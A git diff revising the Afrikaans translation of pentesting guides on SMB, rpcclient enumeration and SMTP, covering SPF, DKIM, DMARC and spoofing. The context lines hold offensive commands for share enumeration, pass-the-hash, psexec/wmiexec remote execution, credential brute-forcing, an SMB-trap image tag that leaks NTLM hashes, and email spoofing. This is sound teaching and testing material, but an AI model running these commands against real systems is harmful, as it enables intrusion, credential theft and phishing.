twee toepassings word geaktiveer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Tegniek is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geïdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun. +Tegniek is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geïdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knooppunte op 'n netwerk te ondersteun. Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word. ``` @@ -20,11 +20,11 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer. -Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. +Aandele, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. ### IPC$ Share -Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Korrek gebruik, stel dit in staat om die volgende te verkry: +Toegang tot die IPC$ aandele kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Korrek gebruik, stel dit in staat om die volgende te verkry: - Inligting oor die bedryfstelsel - Besonderhede oor die ouerdomein @@ -36,7 +36,7 @@ Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprof ```bash enum4linux -a target_ip ``` -Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken wat deur `target_ip` gespesifiseer is, uit te voer. +Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken gespesifiseer deur `target_ip` uit te voer. ## Wat is NTLM @@ -119,7 +119,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Lys gebruikers, groepe & ingelogde gebruikers +### Lys gebruikers, groepe & aangemelde gebruikers Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees. ```bash @@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Handmatig vensters deel en verbind met hulle** +### **Handmatig vensters deel en verbind daarmee** -Dit mag wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. +Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om 'n poging te doen om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. Gewone deelname vir venster teikens is @@ -289,12 +289,12 @@ smbclient /// > mget * #Download everything to current directory ``` -Commands: +Opdragte: - mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers) - recurse: skakel rekursie aan (standaard: af) -- prompt: skakel vrae vir lêernaam af (standaard: aan) -- mget: kopieer alle lêers wat ooreenstem met die masker van die gasheer na die kliënt masjien +- prompt: skakel die vrae vir lêernaam af (standaard: aan) +- mget: kopieer alle lêers wat ooreenstem met die masker van die gasheer na die kliëntmasjien (_Inligting van die manblad van smbclient_) @@ -304,16 +304,16 @@ Commands: ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groep Beleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat. +Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat. > [!NOTE] -> Die **SYSVOL gedeelde** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\ +> Die **SYSVOL-gedeelte** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\ > Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**. ## Lees Register @@ -331,9 +331,9 @@ Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in ` | **Instelling** | **Beskrywing** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelde te lys? | -| `read only = no` | Verbied die skepping en wysiging van lêers? | +| `read only = no` | Verbied die skepping en wysiging van lêers? | | `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? | -| `guest ok = yes` | Laat toe om met die diens te verbind sonder om 'n wagwoord te gebruik? | +| `guest ok = yes` | Laat verbinding met die diens toe sonder om 'n wagwoord te gebruik?| | `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? | | `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? | | `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? | @@ -345,7 +345,7 @@ Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind i ## Authenticate using Kerberos -Jy kan **authentiseer** met **kerberos** deur die gereedskap **smbclient** en **rpcclient** te gebruik: +Jy kan **authentiseer** na **kerberos** met die gereedskap **smbclient** en **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Albei opsies sal **n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\ +Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\ **Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ ```bash @@ -388,11 +388,11 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Met **parameter** `-k` kan jy teen **kerberos** autentiseer in plaas van **NTLM**. +Gebruik **parameter** `-k` om teen **kerberos** te autentiseer in plaas van **NTLM**. ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Stealthily voer 'n opdrag shell uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\ +Stealthily voer 'n opdragskel uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -419,7 +419,7 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Bruteforce gebruikers se akrediteerbesonderhede** +## **Bruteforce gebruikers se akkredeite** **Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry** ```bash @@ -428,12 +428,12 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay aanval -Hierdie aanval gebruik die Responder toolkit om **SMB-outekenningsessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die outekenning **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\ +Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die authentikasie **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\ [**Meer inligting oor hierdie aanval hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Die Windows biblioteek URLMon.dll probeer outomaties om te outentiseer by die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"` +Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer met die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"` Dit gebeur met die funksies: @@ -452,7 +452,7 @@ Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word. ## NTLM Diefstal -Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-outekenningspoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](./#smb-relay-attack) gebruik word. +Soos SMB Trapping, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](./#smb-relay-attack) gebruik word. [ sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index bbe8fcda1..c6b27fd3b 100644 --- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -8,7 +8,7 @@ **Relatiewe Identifiseerders (RID)** en **Sekuriteitsidentifiseerders (SID)** is sleutelkomponente in Windows-bedryfstelsels vir die unieke identifisering en bestuur van voorwerpe, soos gebruikers en groepe, binne 'n netwerkdomein. - **SID's** dien as unieke identifiseerders vir domeine, wat verseker dat elke domein onderskeibaar is. -- **RID's** word aan SID's geheg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie stel presiese opsporing en bestuur van voorwerptoestemmings en toegangbeheer moontlik. +- **RID's** word aan SID's geheg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie stel presiese opsporing en bestuur van voorwerpstoestemmings en toegangbeheer moontlik. Byvoorbeeld, 'n gebruiker genaamd `pepe` mag 'n unieke identifiseerder hê wat die domein se SID met sy spesifieke RID kombineer, voorgestel in beide heksadesimale (`0x457`) en desimale (`1111`) formate. Dit lei tot 'n volledige en unieke identifiseerder vir pepe binne die domein soos: `S-1-5-21-1074507654-1937615267-42093643874-1111`. @@ -63,7 +63,7 @@ done - **Meer SIDs** deur: `lsaenumsid`. - **RID siklusse om meer SIDs te kontroleer** word uitgevoer deur: `lookupsids `. -#### **Ekstra opdragte** +#### **Extra opdragte** | **Opdrag** | **Koppelvlak** | **Beskrywing** | | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 19cb494b9..26fa80f69 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -15,11 +15,11 @@ PORT STATE SERVICE REASON VERSION ``` ### EMAIL Headers -As jy die geleentheid het om die **slagoffer 'n e-pos te laat stuur** (via kontakvorm van die webblad byvoorbeeld), doen dit omdat **jy oor die interne topologie** van die slagoffer kan leer deur die koppe van die e-pos te sien. +As jy die geleentheid het om die **slagoffer 'n e-pos te laat stuur** (via kontakvorm van die webblad byvoorbeeld), doen dit omdat **jy oor die interne topologie** van die slagoffer kan leer deur die koptekste van die e-pos te sien. Jy kan ook 'n e-pos van 'n SMTP-bediener kry deur te probeer **'n e-pos na daardie bediener te stuur na 'n nie-bestaande adres** (omdat die bediener 'n NDN-e-pos aan die aanvaller sal stuur). Maar, maak seker dat jy die e-pos van 'n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang. -Jy moet ook probeer om **verskillende inhoud te stuur omdat jy meer interessante inligting** op die koppe kan vind soos: `X-Virus-Scanned: by av.domain.com`\ +Jy moet ook probeer om **verskillende inhoud te stuur omdat jy meer interessante inligting** op die koptekste kan vind soos: `X-Virus-Scanned: by av.domain.com`\ Jy moet die EICAR-toetslêer stuur.\ Die opsporing van die **AV** mag jou in staat stel om **bekende kwesbaarhede** te benut. @@ -60,7 +60,7 @@ NTLM supported ``` Of **automate** dit met **nmap** plugin `smtp-ntlm-info.nse` -### Interne bediener naam - Inligtingsontsluiting +### Interne bediener naam - Inligting openbaarmaking Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volledige adres, wat sy interne naam openbaar: ``` @@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To'])) ## SMTP Smuggling -SMTP Smuggling kwesbaarheid het toegelaat om al die SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling kyk: +SMTP Smuggling kwesbaarheid het dit moontlik gemaak om al die SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling kyk: {{#ref}} smtp-smuggling.md @@ -234,7 +234,7 @@ Organisasies word verhinder om ongeoorloofde e-pos namens hulle te laat stuur de ### SPF > [!CAUTION] -> SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat in plaas daarvan om 'n **TXT rekord** in `_spf.domain.com` te skep, jy dit in `domain.com` skep met die **dieselfde sintaksis**.\ +> SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat jy in plaas daarvan om 'n **TXT rekord** in `_spf.domain.com` te skep, dit in `domain.com` moet skep met die **dieselfde sintaksis**.\ > Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind. **Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geautoriseer is deur 'n lys van geautoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geautoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Mechanismes**" in die SPF rekord in. @@ -245,7 +245,7 @@ Van [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | Mechanisme | Beskrywing | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Pas altyd toe; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige meganismes pas nie. | +| ALL | Pas altyd toe; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige mechanismes pas nie. | | A | As die domeinnaam 'n adres rekord (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit pas. | | IP4 | As die sender in 'n gegewe IPv4 adres reeks is, pas. | | IP6 | As die sender in 'n gegewe IPv6 adres reeks is, pas. | @@ -256,15 +256,15 @@ Van [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | REDIRECT |

'n Herlei is 'n aanduiding na 'n ander domeinnaam wat 'n SPF beleid huisves, dit stel verskeie domeine in staat om dieselfde SPF beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos infrastruktuur deel.

Die SPF beleid van die domein aangedui in die herlei Mechanisme sal gebruik word.

| Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n mechanisme pas**. Standaard word die **kwalifiseerder "+"** gebruik (so as enige mechanisme pas, beteken dit dit is toegelaat).\ -Jy sal gewoonlik **aan die einde van elke SPF beleid** iets soos: **\~all** of **-all** opgemerk. Dit word gebruik om aan te dui dat **as die sender nie aan enige SPF beleid voldoen nie, jy die e-pos as onbetroubaar (\~) of verwerp (-) moet merk.** +Jy sal gewoonlik **aan die einde van elke SPF beleid** iets soos: **\~all** of **-all** opgemerk. Dit word gebruik om aan te dui dat **as die sender nie aan enige SPF beleid voldoen nie, jy die e-pos as onbetroubaar (\~) moet merk of die e-pos moet verwerp (-) word.** #### Kwalifiseerders Elke mechanisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die beoogde resultaat te definieer: -- **`+`**: Kom ooreen met 'n PASS resultaat. Standaard neem meganismes aan dat hierdie kwalifiseerder, wat `+mx` gelyk is aan `mx`. +- **`+`**: Kom ooreen met 'n PASS resultaat. Standaard neem mechanismes aan dat hierdie kwalifiseerder geld, wat `+mx` gelyk is aan `mx`. - **`?`**: Verteenwoordig 'n NEUTRALE resultaat, wat soortgelyk behandel word aan NONE (geen spesifieke beleid). -- **`~`**: Dui SOFTFAIL aan, wat as 'n middelgrond tussen NEUTRAAL en FAIL dien. E-posse wat aan hierdie resultaat voldoen, word gewoonlik aanvaar maar ooreenkomstig gemerk. +- **`~`**: Dui SOFTFAIL aan, wat as 'n middelgrond tussen NEUTRAAL en FAIL dien. E-posse wat aan hierdie resultaat voldoen, word gewoonlik aanvaar maar dienooreenkomstig gemerk. - **`-`**: Dui FAIL aan, wat suggereer dat die e-pos heeltemal verwerp moet word. In die komende voorbeeld word die **SPF beleid van google.com** geïllustreer. Let op die insluiting van SPF beleide van verskillende domeine binne die eerste SPF beleid: @@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/merk as onbetroubaar**. +Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/ enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/ as onbetroubaar gemerk word**. Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) @@ -294,9 +294,9 @@ Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: [https:// DKIM word gebruik om uitgaande e-posse te teken, wat hul validasie deur eksterne Mail Transfer Agents (MTAs) moontlik maak deur die domein se publieke sleutel van DNS te verkry. Hierdie publieke sleutel is geleë in 'n domein se TXT rekord. Om toegang tot hierdie sleutel te verkry, moet 'n mens beide die selektor en die domeinnaam weet. -Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en selektor noodsaaklik. Hierdie kan in die e-poskop `DKIM-Signature` gevind word, bv. `d=gmail.com;s=20120113`. +Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en selektor noodsaaklik. Hierdie kan in die e-pos kop `DKIM-Signature` gevind word, bv. `d=gmail.com;s=20120113`. -'n Opdrag om hierdie inligting te verkry, kan soos volg lyk: +'n Opdrag om hierdie inligting te verkry kan soos volg lyk: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: @@ -324,20 +324,20 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA | Tag Naam | Doel | Voorbeeld | | -------- | -------------------------------------------- | ------------------------------- | -| v | Protokol weergawe | v=DMARC1 | +| v | Protokolweergawe | v=DMARC1 | | pct | Persentasie van boodskappe wat aan filtrering onderwerp word | pct=20 | | ruf | Verslag URI vir forensiese verslae | ruf=mailto:authfail@example.com | | rua | Verslag URI van aggregaatverslae | rua=mailto:aggrep@example.com | | p | Beleid vir organisatoriese domein | p=quarantine | | sp | Beleid vir subdomeine van die OD | sp=reject | -| adkim | Uitlijning modus vir DKIM | adkim=s | -| aspf | Uitlijning modus vir SPF | aspf=r | +| adkim | Uitlijningmodus vir DKIM | adkim=s | +| aspf | Uitlijningmodus vir SPF | aspf=r | ### **Wat van Subdomeine?** **Van** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Jy moet aparte SPF-rekords hê vir elke subdomein waarvan jy e-pos wil stuur.\ -Die volgende is oorspronklik op openspf.org gepos, wat eens 'n uitstekende hulpbron vir hierdie soort dinge was. +Die volgende is oorspronklik op openspf.org gepos, wat voorheen 'n uitstekende hulpbron vir hierdie soort dinge was. > Die Demon Vraag: Wat van subdomeine? > @@ -353,7 +353,7 @@ Dit maak sin - 'n subdomein mag baie goed in 'n ander geografiese ligging wees e Wanneer e-posse gestuur word, is dit van kardinale belang om te verseker dat hulle nie as spam gemerk word nie. Dit word dikwels bereik deur die gebruik van 'n **relay-server wat deur die ontvanger vertrou word**. 'n Algemene uitdaging is egter dat administrateurs dalk nie ten volle bewus is van watter **IP-reekse veilig is om toe te laat** nie. Hierdie gebrek aan begrip kan lei tot foute in die opstelling van die SMTP-server, 'n risiko wat gereeld in sekuriteitsassesseringe geïdentifiseer word. -'n Oplossing wat sommige administrateurs gebruik om e-posafleweringsprobleme te vermy, veral rakende kommunikasie met potensiële of lopende kliënte, is om **verbindinge van enige IP-adres toe te laat**. Dit word gedoen deur die SMTP-server se `mynetworks` parameter te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon: +'n Oplossing wat sommige administrateurs gebruik om e-posafleweringsprobleme te vermy, veral rakende kommunikasie met potensiële of lopende kliënte, is om **verbindinge van enige IP-adres toe te laat**. Dit word gedoen deur die SMTP-server se `mynetworks`-parameter te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon: ```bash mynetworks = 0.0.0.0/0 ``` @@ -383,7 +383,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE ``` > [!WARNING] > As jy enige **fout kry met die dkim python lib** wat die sleutel ontleed, voel vry om hierdie een te gebruik.\ -> **NOTE**: Dit is net 'n vuil oplossing om vinnige kontrole te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie. +> **NOTA**: Dit is net 'n vuil oplossing om vinnige kontrole te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie. > > ``` > -----BEGIN RSA PRIVATE KEY----- diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md index f6100f9a4..3e0c1401a 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -18,7 +18,7 @@ Met hierdie SMTP-opdrag begin die operasies: die sender verklaar die bron e-posa Dit identifiseer die ontvanger van die e-pos; as daar meer as een is, word die opdrag eenvoudig adres vir adres herhaal. **SIZE**\ -Hierdie SMTP-opdrag informeer die afstandbediener oor die geskatte grootte (in terme van bytes) van die aangehegte e-pos. Dit kan ook gebruik word om die maksimum grootte van 'n boodskap wat deur die bediener aanvaar kan word, te rapporteer. +Hierdie SMTP-opdrag informeer die afstandbediener oor die geskatte grootte (in terme van bytes) van die aangehegte e-pos. Dit kan ook gebruik word om die maksimum grootte van 'n boodskap aan te dui wat deur die bediener aanvaar kan word. **DATA**\ Met die DATA-opdrag begin die e-posinhoud oorgedra te word; dit word gewoonlik gevolg deur 'n 354 antwoordkode wat deur die bediener gegee word, wat die toestemming gee om die werklike oordrag te begin. @@ -33,7 +33,7 @@ Hierdie opdrag word gebruik om rolle tussen die kliënt en die bediener om te dr Met die AUTH-opdrag, autentiseer die kliënt homself by die bediener, deur sy gebruikersnaam en wagwoord te gee. Dit is 'n ander laag van sekuriteit om 'n behoorlike oordrag te waarborg. **RSET**\ -Dit kommunikeer aan die bediener dat die aanhoudende e-pos oordrag gaan beëindig word, alhoewel die SMTP-gesprek nie gesluit sal word nie (soos in die geval van QUIT). +Dit kommunikeer aan die bediener dat die aanhoudende e-pos oordrag beëindig gaan word, alhoewel die SMTP-gesprek nie gesluit sal word nie (soos in die geval van QUIT). **EXPN**\ Hierdie SMTP-opdrag vra om 'n bevestiging oor die identifikasie van 'n poslys. diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index 9d9310060..99afd4c1e 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -8,7 +8,7 @@ Hierdie tipe kwesbaarheid is [**oorspronklik ontdek in hierdie pos**](https://se ### Hoekom -Dit is omdat in die 